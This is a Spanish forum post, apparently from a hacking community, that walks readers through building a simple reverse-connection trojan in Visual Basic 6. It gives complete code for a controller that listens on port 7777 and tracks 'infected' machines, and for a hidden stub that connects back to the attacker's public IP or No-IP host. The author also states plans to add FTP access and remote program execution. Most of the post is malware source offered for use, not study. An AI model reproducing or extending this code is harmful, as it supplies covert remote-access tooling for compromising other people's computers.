Hola, hoy os voy a poner como hacer un "troyano" de conexión inversa. La base, es de este post:
http://foro.elhacker.net/programacion_vb/crea_tu_propio_troyano_en_vb_conexion_inversa_parte_1-t289620.0.htmlPero yo lo he editado en algo, he puesto para poder tener mas de una conexion, y que cuando la persona finalice el servidor, se quite la conexion en el cliente. Es muy muy básico, no tiene ninguna función, solo la conexión, pero para comenzar está bien, yo estoy haciendo el mio con esto.
Bueno comenzamos.
Creamos un nuevo proyecto, será el Cliente.
Tendremos que añadir, el Microsoft Winsock Control 6.0 (le dejamos Winsock1 de nombre y le ponemos 0 en el Index) y el Microsoft Windows Common Controls 6.0.
También un Timer al que se le llamará Timer1 y un ListView que le llamaremos ListaInfectados.
El ListView os debe quedar así en la configuración general:
Vale, ahora ir a Encabezados de Columna, y agregar 2 columnas, la primera: Estado, y la segunda: IP
Bueno, ahora poner este codigo en el form:
Public ConexionesTotales As Integer 'Definimos ConexionesTotales como un Integer
Public IndexAbrir As Integer 'Lo mismo que el de arriba pero IndexAbrir
Private Sub Form_Load() 'Cargamos el Form
On Error Resume Next 'Si hay algun error, que siga la aplicación, que no se muestre el error
Winsock1(0).Close 'Cerramos las conexiones
Winsock1(0).LocalPort = 7777 'Definimos el puerto de conexión a 7777 (podeis cambiarlo al que querais)
Winsock1(0).Listen 'Escuchamos en el puerto anterior
ConexionesTotales = 0 'Decimos que ConexionesTotales es 0
End Sub 'Fin del cargado del Form
Private Sub Timer1_Timer() 'Cargamos el Timer1
On Error Resume Next 'Si hay algun error, sigue la aplicacion
Dim i As Long 'Definimos i
For i = 1 To ListaInfectados.ListItems.Count 'Es un bucle que se ejecuta en todos los ListItem del ListaInfectados
If Winsock1(0).State <> 7 Then 'Si no esta conectado
ListaInfectados.ListItems.Remove (i) 'Eliminamos la conexion
End If
Next i
End Sub 'Fin del cargado del Timer1
Private Sub Winsock1_ConnectionRequest(Index As Integer, ByVal requestID As Long)'Cargamos el Winsock1
ConexionesTotales = ConexionesTotales + 1 'Decimos que las ConexionesTotales son lasConexionesTotales+1
Winsock1(Index).Close 'Cerramos la conexion
Winsock1(Index).Accept requestID 'Aceptamos esta conexion
Load Winsock1(Index + 1) 'Cargamos el Winsock1 con un Index mas 1 conexion
Winsock1(Index + 1).LocalPort = 7777 'Nos ponemos a escuchar el puerto 7777
ListaInfectados.ListItems.Add(1).Text = "Conectado" 'Agregamos un campo al ListaInfectados (en Estado)
ListaInfectados.ListItems.Item(1).ListSubItems.Add = Winsock1(Index).RemoteHostIP 'Lo de antes pero de IP
IndexAbrir = Index + 1 'El IndexAbrir es Index + 1
Winsock1(IndexAbrir).Listen 'Escuchamos todas nuestras conexiones
End Sub 'Fin del cargado del Winsock1
Lo he explicado en los comentarios de los codigos.
Ahora creamos el Server.
Abrimos un nuevo Proyecto, y le ponemos un Winsock Control, como antes. A este no le hace falta lo del Index.
Vamos a la parte de codigo y le ponemos esto:
Private Sub Form_Load() 'Cargamos el Form
On Error Resume Next 'Si hay errores que siga adelnte
Me.Hide 'Que no se vea el Form
Winsock1.Close 'Cerramos la conexion si habia
Winsock1.Connect "TU IP Publica o NO-IP", 7777 'Nos conectamos a la IP que pongas con el puerto que quieras
If Err Then Exit Sub 'Esto no se que es, pero supongo que es para que si hay algun error se cierre el proceso
End Sub 'Fin del cargado del Form
Lo he explicado en los comentarios.
Bueno, esto ya está, siento mucho no poder poner funciones, pero primero tengo que aprender yo a usarlas para poder enseñaros a ponerlas... Cuando vaya haciendo cosas en mi Mini Troyano pues os lo voy poniendo, aunque a mi solo me interesa un FTP con el otro ordenador y algo para ejecutar los programas que yo quiera y eso jejeje
Bueno, espero que os haya gustado, los creditos se los doy al chico o a la chica que haya hecho el tutorial en esa web, y yo por modificarlo un poco.
Un saludo!!
